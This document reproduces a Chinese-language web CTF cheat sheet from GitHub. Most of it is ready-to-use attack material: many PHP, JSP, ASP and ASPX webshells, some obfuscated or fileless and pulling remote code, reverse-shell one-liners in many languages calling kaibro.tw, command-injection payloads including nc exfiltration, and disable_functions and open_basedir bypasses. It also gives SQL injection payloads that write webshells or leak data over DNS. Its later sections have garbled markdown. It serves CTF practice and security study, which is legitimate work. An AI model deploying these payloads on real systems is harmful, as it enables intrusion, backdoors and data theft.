https://github.com/w181496/Web-CTF-Cheatsheet

Webshell

PHP Webshell

  1. <?php system($_GET["cmd"]); ?>
  2. <?php system($_GET[1]); ?>
  3. <?php system("`$_GET[1]`"); ?>
  4. <?= system($_GET[cmd]);
  5. <?=`$_GET[1]`;
  6. <?php eval($_POST[cmd]);?>
  7. <?php echo `$_GET[1]`;
  8. <?php echo passthru($_GET['cmd']);
  9. <?php echo shell_exec($_GET['cmd']);
  10. <?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
  11. <script language="php">system("id"); </script>
  12. <?php $_GET['a']($_GET['b']); ?>
  13. // a=system&b=ls
  14. // a=assert&b=system("ls")
  15. <?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
  16. // .php?cmd=system("ls")
  17. <?@extract($_REQUEST);@die($f($c));?>
  18. // .php?f=system&c=id
  19. <?php @include($_FILES['u']['tmp_name']);
  20. // 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
  21. // 把暫存檔include進來
  22. // From: http://www.zeroplace.cn/article.asp?id=906
  23. <?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
  24. // not backdoor (assert)
  25. // .php?a=system("ls")
  26. echo "{${phpinfo()}}";
  27. echo "${system(ls)}";
  28. echo Y2F0IGZsYWc= | base64 -d | sh
  29. // Y2F0IGZsYWc= => cat flag
  30. echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
  31. // cat shell.php
  32. // <?php echo 'A PHP Test ';" ?>
  33. echo ^<?php eval^($_POST['a']^); ?^> > a.php
  34. // Windows echo導出一句話
  35. <?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
  36. <?php
  37. header('HTTP/1.1 404');
  38. ob_start();
  39. phpinfo();
  40. ob_end_clean();
  41. ?>
  42. <?php
  43. // 無回顯後門
  44. // e.g. ?pass=file_get_contents('http://kaibro.tw/test')
  45. ob_start('assert');
  46. echo $_REQUEST['pass'];
  47. ob_end_flush();
  48. ?>
  49. <?=
  50. // 沒有英數字的webshell
  51. $💩 = '[[[[@@' ^ '("(/%-';
  52. $💩(('@@['^'#!/')." /????");
  53. A=fl;B=ag;cat $A$B

webshell駐留記憶體

解法:restart

  1. <?php
  2. ignore_user_abort(true); // 忽略連線中斷
  3. set_time_limit(0); // 設定無執行時間上限
  4. $file = 'shell.php';
  5. $code = '<?php eval($_POST[a]);?>';
  6. while(md5(file_get_contents($file)) !== md5($code)) {
  7. if(!file_exists($file)) {
  8. file_put_contents($file, $code);
  9. }
  10. usleep(50);
  11. }
  12. ?>

無文件webshell

解法:restart

  1. <?php
  2. unlink(__FILE__);
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5. $remote_file = 'http://xxx/xxx.txt';
  6. while($code = file_get_contents($remote_file)){
  7. @eval($code);
  8. sleep(5);
  9. };
  10. ?>

JSP Webshell

  • 無回顯:
  1. <%Runtime.getRuntime().exec(request.getParameter("i"));%>
  • 有回顯:
  1. <%
  2. if("kaibro".equals(request.getParameter("pwd"))) {
  3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
  4. int a = -1;
  5. byte[] b = new byte[2048];
  6. out.print("
  7. <pre>");
  8. while((a=in.read(b))!=-1){
  9. out.println(new String(b));
  10. }
  11. out.print("</pre>");
  12. }
  13. %>

ASP Webshell

  1. <%eval request("kaibro")%>
  2. <%execute request("kaibro")%>
  3. <%ExecuteGlobal request("kaibro")%>
  4. <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ASPX Webshell

  • 一般:
  1. <%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
  • 上傳:
  1. <%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>

Reverse Shell

  • 本機Listen Port
    • ncat -vl 5566
  • Perl
    • perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Bash
    • bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
    • bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
    • 0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
  • PHP
    • php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
  • NC
    • nc -e /bin/sh kaibro.tw 5566
  • Telnet
    • mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
  • Python
    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • Ruby
    • ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • Node.js
    • var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
    • require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
  • Java
    • Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
    • java.lang.Runtime.exec() payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
  • Powershell
    • powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd

PHP Tag

  • <? ?>
    • short_open_tag 決定是否可使用短標記
    • 或是編譯php時 —enable-short-tags
  • <?=
    • 等價 <? echo
    • PHP 5.4.0起,always work!
  • <% %><%=
    • PHP 7.0.0起,被移除
    • 須將asp_tags設成On
  • <script language="php"
    • PHP 7.0.0起,被移除
    • <script language="php">system("id"); </script>

PHP Weak Type

  • var_dump('0xABCdef' == ' 0xABCdef');
    • true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
  • var_dump('0010e2' == '1e3’);
    • true
  • strcmp([],[])
    • 0
  • sha1([])
    • NULL
  • '123' == 123
  • 'abc' == 0
  • '123a' == 123
  • '0x01' == 1
    • PHP 7.0後,16進位字串不再當成數字
    • e.g var_dump('0x01' == 1) => false
  • '' == 0 == false == NULL
  • md5([1,2,3]) == md5([4,5,6]) == NULL
    • 可用在登入繞過 (用戶不存在,則password為NULL)
  • var_dump(md5(240610708));
    • 0e462097431906509019562988736854
  • var_dump(sha1(10932435112));
    • 0e07766915004133176347055865026311692244
  • $a="123"; $b="456"
    • $a + $b == "579";
    • $a . $b == "123456"
  • $a = 0; $b = 'x';
    • $a == false => true
    • $a == $b => true
    • $b == true => true
  • $a = 'a'
    • ++$a => 'b'
    • $a+1 => 1

PHP 其他特性

Overflow

  • 32位元
    • intval('1000000000000') => 2147483647
  • 64位元
    • intval('100000000000000000000') => 9223372036854775807

浮點數精度

  • php -r "var_dump(1.000000000000001 == 1);"
    • false
  • php -r "var_dump(1.0000000000000001 == 1);"
    • true
  • $a = 0.1 * 0.1; var_dump($a == 0.01);
    • false

ereg會被NULL截斷

  • var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
    • 1
  • eregeregi在PHP 7.0.0.已經被移除

intval

  • 四捨五入
    • var_dump(intval('5278.8787'));
      • 5278
  • intval(012) => 10
  • intval("012") => 12

extract變數覆蓋

  • extract($_GET);
    • .php?_SESSION[name]=admin
    • echo $_SESSION['name'] => ‘admin’

trim

  • 會把字串前後的空白(或其他字元)去掉
  • 未指定第二參數,預設會去掉以下字元
    • " " (0x20)
    • "\t" (0x09)
    • "\n" (0x0A)
    • "\x0B" (0x0B)
    • "\r" (0x0D)
    • "\0" (0x00)
  • 可以發現預設不包含"\f" (0x0C)
    • 比較:is_numeric()允許\f在開頭
  • 如果參數是unset或空的變數,回傳值是空字串

is_numeric

  • is_numeric(" \t\r\n 123") => true
  • is_numeric(' 87') => true
  • is_numeric('87 ') => false
  • is_numeric(' 87 ') => false
  • is_numeric('0xdeadbeef')
    • PHP >= 7.0.0 => false
    • PHP < 7.0.0 => true
    • 可以拿來繞過注入
  • 以下亦為合法(返回True)字串:
    • ' -.0'
    • '0.'
    • ' +2.1e5'
    • ' -1.5E+25'
    • '1.e5'

in_array

  • in_array('5 or 1=1', array(1, 2, 3, 4, 5))
    • true
  • in_array('kaibro', array(0, 1, 2))
    • true
  • in_array(array(), array('kai'=>false))
    • true
  • in_array(array(), array('kai'=>null))
    • true
  • in_array(array(), array('kai'=>0))
    • false
  • in_array(array(), array('kai'=>'bro'))
    • false
  • in_array('kai', array('kai'=>true))
    • true
  • in_array('kai', array('kai'=>'bro'))
    • false
  • in_array('kai', array('kai'=>0))
    • true
  • in_array('kai', array('kai'=>1))
    • false

array_search

  • mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
    • haystack陣列中,搜尋needle的值,成功則返回index,失敗返回False
  • $strict為false時,採用不嚴格比較
    • 預設是False
  • Example
    • $arr=array(1,2,0); var_dump(array_search('kai', $arr))
      • int(2)
    • $arr=array(1,2,0); var_dump(array_search('1', $arr))
      • int(0)

parse_str

  • parse_str(string, array)
  • 會把查詢字串解析到變數中
  • 如果未設置第二個參數,會解析到同名變數中
    • PHP7.2中不設置第二個參數會產生E_DEPRECATED警告
  • parse_str('gg[kaibro]=5566');

    1. array(1) {
    2. ["kaibro"]=>
    3. string(4) "5566"
    4. }
  • PHP變數有空格和.,會被轉成底線
    ``` parse_str(“na.me=kaibro&pass wd=ggininder”,$test); var_dump($test);

array(2) { [“na_me”]=> string(6) “kaibro” [“pass_wd”]=> string(9) “ggininder” }

  1. <a name="parse_url"></a>
  2. ## parse_url
  3. - 在處理傳入的URL會有問題
  4. - `parse_url('/a.php?id=1')`

array(2) { [“host”]=> string(5) “a.php” [“query”]=> string(4) “id=1” }

  1. - `parse_url('//a/b')`
  2. - host: `a`
  3. - `parse_url('..//a/b/c:80')`
  4. - host: `..`
  5. - port: `80`
  6. - path: `//a/b/c:80`
  7. - `parse_url('///a.php?id=1')`
  8. - false
  9. - `parse_url('/a.php?id=1:80')`
  10. - PHP < 7.0.0
  11. - `false`
  12. - PHP >= 7.0.0

array(2) { [“path”]=> string(6) “/a.php” [“query”]=> string(7) “id=1:80” }

  1. - `parse_url('http://kaibro.tw:87878')`
  2. - 5.3.X版本以下
  3. ```php
  4. array(3) {
  5. ["scheme"]=> string(4) "http"
  6. ["host"]=> string(9) "kaibro.tw"
  7. ["port"]=> int(22342)
  8. }
  • 其他: false

preg_replace

  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    • 搜尋$subject中匹配的$pattern,並用$replacement替換
  • 第一個參數用/e修飾符,$replacement會被當成PHP code執行
    • 必須有匹配到才會執行
    • PHP 5.5.0起,會產生E_DEPRECATED錯誤
    • PHP 7.0.0不再支援,用preg_replace_callback()代替

example:

  1. <?php
  2. $a='phpkaibro';
  3. echo preg_replace('/(.*)kaibro/e','\\1info()',$a);

sprintf / vprintf

  • 對格式化字串的類型沒檢查
  • 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
    • 例如%\%'%1$\'
    • 在某些SQLi過濾狀況下,%' and 1=1#中的單引號會被轉義成\'%\又會被吃掉,'成功逃逸
    • 原理:sprintf實作是用switch…case…
      • 碰到未知類型,default不處理

file_put_contents

  • 第二個參數如果是陣列,PHP會把它串接成字串
  • example:

    1. <?php
    2. $test = $_GET['txt'];
    3. if(preg_match('[<>?]', $test)) die('bye');
    4. file_put_contents('output', $test);
    • 可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

  • spl_autoload_register()可以自動載入Class
  • 不指定參數,會自動載入.inc.php
  • Example:
    • 如果目錄下有kaibro.inc,且內容為class Kaibro{…}
    • spl_autoload_register()會把這個Class載入進來

路徑正規化

  • a.php/.
    • file_put_contents("a.php/.", "<?php phpinfo() ?>");
      • 可成功寫入
        • 經測試Windows可以覆寫、Linux無法
      • 可以繞過一些正規表達式判斷
    • file_get_contents("a.php/.");
      • 經測試Windows下可成功讀、Linux無法
    • 還有很多其他function也適用
  • " => .
    • a"php
  • > => ?
    • a.p>p
    • a.>>>
  • < => *
    • a.<

URL query decode

  • $_GET會對傳入的參數做URLdecode再返回
  • $_SERVER['REQUEST_URI']$_SERVER['QUERY_STRING']則是直接返回

Example:

Request: http://kaibro.tw/test.php?url=%67%67

  • $_GET: [url] => gg
  • $_SERVER[‘REQUEST_URI’]: /test.php?url=%67%67
  • $_SERVER[‘QUERY_STRING’]: url=%67%67

OPcache

  • 透過將PHP腳本編譯成Byte code的方式做Cache來提升性能
  • 相關設定在php.ini中
    • opcache.enable 是否啟用
    • opcache.file_cache 設定cache目錄
      • 例如:opcache.file_cache="/tmp/opcache"
      • /var/www/index.php的暫存會放在/tmp/opcache/[system_id]/var/www/index.php.bin
    • opcache.file_cache_only 設定cache文件優先級
    • opcache.validate_timestamps 是否啟用timestamp驗證
  • system_id是透過Zend和PHP版本號計算出來的,可以確保相容性
  • 所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell
    • system_id要和目標機器一樣
    • timestamp要一致
  • https://github.com/GoSecure/php7-opcache-override
    • Disassembler可以把Byte code轉成Pseudo code
  • Example

PCRE回溯次數限制繞過

  • PHP的PCRE庫使用NFA作為正規表達式引擎
    • NFA在匹配不上時,會回溯嘗試其他狀態
  • PHP為防止DOS,設定了PCRE回溯次數上限
    • pcre.backtrack_limit
    • 預設為1000000
  • 回溯次數超過上限時,preg_match()會返回false
  • Example

open_basedir繞過

  • glob 列目錄
  1. $file_list = array();
  2. $it = new DirectoryIterator("glob:///*");
  3. foreach($it as $f) {
  4. $file_list[] = $f->__toString();
  5. }
  6. sort($file_list);
  7. foreach($file_list as $f){
  8. echo "{$f}<br/>";
  9. }
  1. chdir('img');
  2. ini_set('open_basedir','..');
  3. chdir('..');chdir('..');
  4. chdir('..');chdir('..');
  5. ini_set('open_basedir','/');
  6. echo(file_get_contents('flag'));
  • symlinks
  1. mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
  2. symlink('/var/www/html/a/b/c/d/e/f/g','foo');
  3. ini_set('open_basedir','/var/www/html:bar/');
  4. symlink('foo/../../../../../../','bar');
  5. unlink('foo');
  6. symlink('/var/www/html/','foo');
  7. echo file_get_contents('bar/etc/passwd');

disable_functions繞過

  • bash shellshock
  • mail()
  • mb_send_mail()
    • 跟 mail() 基本上一樣
  • imap_mail()
    • 同上
  • imap_open()

    1. <?php
    2. $payload = "echo hello|tee /tmp/executed";
    3. $encoded_payload = base64_encode($payload);
    4. $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
    5. @imap_open('{'.$server.'}:143/imap}INBOX', '', '');
  • error_log()

    • 第二個參數message_type為1時,會去調用sendmail
  • ImageMagick

    • Command Injection
    • LD_PRELOAD + ghostscript:
      • Imagemagick會用ghostscript去parse eps
      • Link
    • LD_PRELOAD + ffpmeg
    • MAGICK_CODER_MODULE_PATH

      • it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory

      • Document

      • Link
    • MAGICK_CONFIGURE_PATH

      • delegates.xml定義處理各種文件的規則
      • 可以用putenv寫掉設定檔路徑
      • Link
        1. <delegatemap>
        2. <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/output&quot;"/>
        3. </delegatemap>
    • PATH + ghostscript:

      • 造一個執行檔gs
        1. #include <stdlib.h>
        2. #include <string.h>
        3. int main() {
        4. unsetenv("PATH");
        5. const char* cmd = getenv("CMD");
        6. system(cmd);
        7. return 0;
        8. }
        1. putenv('PATH=/tmp/mydir');
        2. putenv('CMD=/readflag > /tmp/mydir/output');
        3. chmod('/tmp/mydir/gs','0777');
        4. $img = new Imagick('/tmp/mydir/1.ept');
  • dl()

    • 載入module
    • dl("rce.so")
    • This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.
  • FFI
  • FastCGI Extension
  • Windows COM

    • 條件
      • com.allow_dcom = true
      • extension=php_com_dotnet.dll
    • PoC:
      1. <?php
      2. $command = $_GET['cmd'];
      3. $wsh = new COM('WScript.shell'); // Shell.Application 也可
      4. $exec = $wsh->exec("cmd /c".$command);
      5. $stdout = $exec->StdOut();
      6. $stroutput = $stdout->ReadAll();
      7. echo $stroutput;
  • iconv

  • l3mon/Bypass_Disable_functions_Shell
  • JSON UAF Bypass
    • 7.1 - all versions to date
    • 7.2 < 7.2.19 (released: 30 May 2019)
    • 7.3 < 7.3.6 (released: 30 May 2019)
  • GC Bypass
    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date
  • Backtrace Bypass
    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date
    • 7.4 - all versions to date
  • PHP SplDoublyLinkedList UAF Sandbox Escape
  • 族繁不及備載……

其他

  • 大小寫不敏感
    • <?PhP sYstEm(ls);
  • echo (true ? 'a' : false ? 'b' : 'c');
    • b
  • echowhoami;
    • kaibro
  • 正規表達式.不匹配換行字元%0a
  • 正規表達式常見誤用:
    • preg_match("/\\/", $str)
    • 匹配反斜線應該要用\\\\而不是\\
  • 運算優先權問題
    • $a = true && false;
      • $a => false
    • $a = true and false;
      • $a => true
  • chr()
    • 大於256會mod 256
    • 小於0會加上256的倍數,直到>0
    • Example:
      • chr(259) === chr(3)
      • chr(-87) === chr(169)
  • 遞增
    • $a="9D9"; var_dump(++$a);
      • string(3) "9E0"
    • $a="9E0"; var_dump(++$a);
      • float(10)
  • 算數運算繞Filter
    • %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
      • system
      • 可用在限制不能出現英數字時 or 過濾某些特殊符號
    • $_=('%01'^'‘).(‘%13’^’').('%13'^'‘).(‘%05’^’').('%12'^'‘).(‘%14’^’');
      • assert
    • 其他
      • ~, ++等運算,也都可用類似概念構造
  • 花括號
    • 陣列、字串元素存取可用花括號
    • $array{index}$array[index]
  • filter_var
    • filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
      • False
    • filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
      • True
    • filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+,.”@b.c’,FILTER_VALIDATE_EMAIL)`
      • "aaaaa{}[]()'|!#$%*&^-_=+,.”@b.c` (OK)
    • filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
      • aaa."bbb"@b.c (OK)
    • filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
      • False
  • json_decode
    • 不直接吃換行字元和\t字元
    • 但可以吃’\n’和’\t’
      • 會轉成換行字元和Tab
    • 也吃\uxxxx形式
      • json_decode('{"a":"\u0041"}')
  • === bug
    • var_dump([0 => 0] === [0x100000000 => 0])
      • 某些版本會是True
      • ASIS 2018 Qual Nice Code
    • https://3v4l.org/sUEMG
  • openssl_verify
  • Namespace
    • PHP的預設Global space是\
    • e.g. \system('ls');
  • basename (php bug 62119)
  • strip_tags (php bug 78814)

Command Injection

  1. | cat flag
  2. && cat flag
  3. ; cat flag
  4. %0a cat flag
  5. "; cat flag
  6. `cat flag`
  7. cat $(ls)
  8. "; cat $(ls)
  9. `cat flag | nc kaibro.tw 5278`
  10. . flag
  11. PS1=$(cat flag)
  12. `echo${IFS}${PATH}|cut${IFS}-c1-1`
  13. => /

? and *

  • ? match one character
    • cat fl?g
    • /???/??t /???/p??s??
  • * match 多個
    • cat f*
    • cat f?a*

空白繞過

  • ${IFS}
    • cat${IFS}flag
    • ls$IFS-alh
    • cat$IFS$2flag
  • cat</etc/passwd
  • {cat,/etc/passwd}
  • X=$'cat\x20/etc/passwd'&&$X
  • IFS=,;cat<<<uname,-a``
    • bash only

Keyword繞過

  • String Concat
    • A=fl;B=ag;cat $A$B
  • Empty Variable
    • cat fl${x}ag
    • cat tes$(z)t/flag
  • Environment Variable
    • $PATH => "/usr/local/….blablabla”
      • ${PATH:0:1} => '/'
      • ${PATH:1:1} => 'u'
      • ${PATH:0:4} => '/usr'
    • ${PS2}
      • >
    • ${PS4}
      • +
  • Empty String
    • cat fl""ag
    • cat fl''ag
      • cat "fl""ag"
  • 反斜線
    • c\at fl\ag

ImageMagick (ImageTragick)

  • CVE-2016-3714
  • mvg格式包含https處理(使用curl下載),可以閉合雙引號
  • payload:
  1. push graphic-context
  2. viewbox 0 0 640 480
  3. fill 'url(https://kaibro.tw";ls "-la)'
  4. pop graphic-context

Ruby Command Executing

  • open("| ls")
  • IO.popen("ls").read
  • Kernel.exec("ls")
  • ls
  • system("ls")
  • eval("ruby code")
  • exec("ls")
  • %x{ls}
  • Net::FTP
    • CVE-2017-17405
    • use Kernel#open

Python Command Executing

  • os.system("ls")
  • os.popen("ls").read()
  • os.execl("/bin/ls","")
  • os.execlp("ls","")
  • os.execv("/bin/ls",[''])
  • os.execvp("/bin/ls",[""])
  • subprocess.call("ls")
    • subprocess.call("ls|cat",shell=False) => Fail
    • subprocess.call("ls|cat",shell=True) => Correct
  • eval("__import__('os').system('ls')")
  • exec("__import__('os').system('ls')")
  • commands.getoutput('ls')

Read File

  • diff /etc/passwd /flag
  • paste /flag
  • bzmore /flag
  • bzless /flag
  • static-sh /flag

SQL Injection

MySQL

  • 子字串:
    • substr("abc",1,1) => 'a'
    • mid("abc", 1, 1) => 'a'
  • Ascii function
    • ascii('A') => 65
  • Char function
    • char(65) => 'a'
  • Concatenation
    • CONCAT('a', 'b') => 'ab'
      • 如果任何一欄為NULL,則返回NULL
    • CONCAT_WS(分隔符, 字串1, 字串2...)
      • CONCAT_WS('@', 'gg', 'inin') => gg@inin
  • Cast function
    • CAST('125e342.83' AS signed) => 125
    • CONVERT('23',SIGNED) => 23
  • Delay function
    • sleep(5)
    • BENCHMARK(count, expr)
  • 空白字元
    • 09 0A 0B 0C 0D A0 20
  • File-read function
    • LOAD_FILE('/etc/passwd')
  • File-write
    • INTO DUMPFILE
      • 適用binary (寫入同一行)
    • INTO OUTFILE
      • 適用一般文本 (有換行)
    • 寫webshell
      • 需知道可寫路徑
      • UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
    • 權限
      • SELECT file_priv FROM mysql.user
    • secure-file-priv
      • 限制MySQL導入導出
        • load_file, into outfile等
      • 運行時無法更改
      • MySQL 5.5.53前,該變數預設為空(可以導入導出)
      • e.g. secure_file_priv=E:\
        • 限制導入導出只能在E:\下
      • e.g. secure_file_priv=null
        • 限制不允許導入導出
      • secure-file-priv限制下用general_log拿shell ``` SET global general_log=’on’;

SET global general_log_file=’C:/phpStudy/WWW/cmd.php’;

SELECT ‘<?php assert($_POST[“cmd”]);?>’;

  1. - IF語句
  2. - IF(condition,true-part,false-part)
  3. - `SELECT IF (1=1,'true','false')`
  4. - Hex
  5. - `SELECT X'5061756c'; => paul`
  6. - `SELECT 0x5061756c; => paul`
  7. - `SELECT 0x5061756c+0 => 1348564332`
  8. - `SELECT load_file(0x2F6574632F706173737764);`
  9. - /etc/passwd
  10. - 可繞過一些WAF
  11. - e.g. 用在不能使用單引號時(`'` => `\'`)
  12. - CHAR()也可以達到類似效果
  13. - `'admin'` => `CHAR(97, 100, 109, 105, 110)`
  14. - 註解:
  15. - `#`
  16. - `--`
  17. - `/**/`
  18. - 一個`*/`可以閉合前面多個`/*`
  19. - `/*! 50001 select * from test */`
  20. - 可探測版本
  21. - e.g. `SELECT /*!32302 1/0, */ 1 FROM tablename`
  22. - `
  23. - MySQL <= 5.5
  24. - `;`
  25. - PDO支援多語句
  26. - information_schema
  27. - mysql >= 5.0
  28. - Stacking Query
  29. - 預設PHP+MySQL不支援Stacking Query
  30. - 但PDO可以Stacking Query
  31. - 其它:
  32. - @[@version ](/version )
  33. - 同version()
  34. - user()
  35. - current_user
  36. - current_user()
  37. - SESSION_USER()
  38. - SYSTEM_USER()
  39. - current user
  40. - system_user()
  41. - database system user
  42. - database()
  43. - schema()
  44. - current database
  45. - @[@basedir ](/basedir )
  46. - MySQL安裝路徑
  47. - @[@datadir ](/datadir )
  48. - Location of db file
  49. - @[@plugin_dir ](/plugin_dir )
  50. - @[@hostname ](/hostname )
  51. - @[@version_compile_os ](/version_compile_os )
  52. - Operating System
  53. - @@version_compile_machine
  54. - @[@innodb_version ](/innodb_version )
  55. - MD5()
  56. - SHA1()
  57. - COMPRESS() / UNCOMPRESS()
  58. - group_concat()
  59. - 合併多條結果
  60. - e.g. `select group_concat(username) from users;` 一次返回所有使用者名
  61. - group_concat_max_len = 1024 (default)
  62. - json_arrayagg()
  63. - MySQL >= 5.7.22
  64. - 概念同上
  65. - e.g. `SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES`
  66. - greatest()
  67. - `greatest(a, b)`返回a, b中最大的
  68. - `greatest(1, 2)=2`
  69. - 1
  70. - `greatest(1, 2)=1`
  71. - 0
  72. - between a and b
  73. - 介於a到b之間
  74. - `greatest(1, 2) between 1 and 3`
  75. - 1
  76. - regexp
  77. - `SELECT 'abc' regexp '.*'`
  78. - 1
  79. - Collation
  80. - `*_ci` case insensitive collation 不區分大小寫
  81. - `*_cs` case sensitive collation 區分大小寫
  82. - `*_bin` binary case sensitive collation 區分大小寫
  83. - Union Based
  84. - 判斷column數
  85. - `union select 1,2,3...N`
  86. - `order by N` 找最後一個成功的N
  87. - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+`
  88. - `LIMIT N, M` 跳過前N筆,抓M筆
  89. - 爆資料庫名
  90. - `union select 1,2,schema_name from information_schema.schemata limit 1,1`
  91. - 爆表名
  92. - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1`
  93. - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1`
  94. - 爆Column名
  95. - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1`
  96. - MySQL User
  97. - `SELECT CONCAT(user, ":" ,password) FROM mysql.user;`
  98. - Error Based
  99. - 長度限制
  100. - 錯誤訊息有長度限制
  101. - `#define ERRMSGSIZE (512)`
  102. - Overflow
  103. - MySQL > 5.5.5 overflow才會有錯誤訊息
  104. - `SELECT ~0` => `18446744073709551615`
  105. - `SELECT ~0 + 1` => ERROR
  106. - `SELECT exp(709)` => `8.218407461554972e307`
  107. - `SELECT exp(710)` => ERROR
  108. - 若查詢成功,會返回0
  109. - `SELECT exp(~(SELECT * FROM (SELECT user())x));`
  110. - `ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'`
  111. - `select (select(!x-~0)from(select(select user())x)a);`
  112. - `ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'`
  113. - MySQL > 5.5.53 不會顯示查詢結果
  114. - xpath
  115. - extractvalue (有長度限制,32位)
  116. - `select extractvalue(1,concat(0x7e,(select @@version),0x7e));`
  117. - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`
  118. - updatexml (有長度限制,32位)
  119. - `select updatexml(1,concat(0x7e,(select @@version),0x7e),1);`
  120. - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`
  121. - 主鍵重複
  122. - `select count(*) from test group by concat(version(),floor(rand(0)*2));`
  123. - `ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'`
  124. - 其它函數 (5.7)
  125. - `select ST_LatFromGeoHash(version());`
  126. - `select ST_LongFromGeoHash(version());`
  127. - `select GTID_SUBSET(version(),1);`
  128. - `select GTID_SUBTRACT(version(),1);`
  129. - `select ST_PointFromGeoHash(version(),1);`
  130. - 爆庫名、表名、字段名
  131. - 當過濾`information_schema`等關鍵字時,可以用下面方法爆庫名
  132. - `select 1,2,3 from users where 1=abc();`
  133. - `ERROR 1305 (42000): FUNCTION fl4g.abc does not exist`
  134. - 爆表名
  135. - `select 1,2,3 from users where Polygon(id);`
  136. - `select 1,2,3 from users where linestring(id);`
  137. - `ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing`
  138. - 爆Column
  139. - `select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);`
  140. - `ERROR 1060 (42S21): Duplicate column name 'id'`
  141. - `select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);`
  142. - `ERROR 1060 (42S21): Duplicate column name 'username'`
  143. - Blind Based (Time/Boolean)
  144. - Boolean
  145. - 「有」跟「沒有」
  146. - `id=87 and length(user())>0`
  147. - `id=87 and length(user())>100`
  148. - `id=87 and ascii(mid(user(),1,1))>100`
  149. - `id=87 or ((select user()) regexp binary '^[a-z]')`
  150. - Time
  151. - 用在啥結果都看不到時
  152. - `id=87 and if(length(user())>0, sleep(10), 1)=1`
  153. - `id=87 and if(length(user())>100, sleep(10), 1)=1`
  154. - `id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1`
  155. - Out of Bnad
  156. - Windows only
  157. - `select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata`
  158. - 繞過空白檢查
